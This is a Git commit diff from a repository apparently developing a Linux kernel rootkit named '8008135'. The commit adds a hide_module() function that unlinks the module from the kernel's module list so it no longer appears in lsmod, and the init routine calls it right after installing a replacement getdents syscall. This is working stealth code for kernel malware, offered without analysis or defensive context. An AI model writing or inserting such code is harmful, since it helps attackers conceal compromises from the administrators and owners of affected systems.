valentin_lechner/8008135
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Merge branch 'dev_jkr' into 'master'

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Modul verstecken implementiert

See merge request jan-koerner-enterprises/8008135!1
This commit is contained in:
Jan Körner 2019-12-01 22:48:31 +00:00
commit f613f77845
1 changed files with 15 additions and 0 deletions
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15
src/8008135.c
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@ -83,6 +83,18 @@ asmlinkage long sys_getdents_new(unsigned int fd,
return ret;
}
/*** FUNCTION ****************************************************************
* NAME: hide_module
* DESCRIPTION: hides the module from lsmod
* PARAMETERS: -
* RETURNS:
*******************************************************************************/
void hide_module(void){
list_del(&THIS_MODULE->list);
}
/*** FUNCTION ****************************************************************
* NAME: 8008135_init
* DESCRIPTION: initializing Kernel Module
@ -108,6 +120,9 @@ static int __init init_8008135(void) {
printk(KERN_INFO "New syscall in place\n");
hide_module();
printk(KERN_INFO "Module hidden");
return 0;
}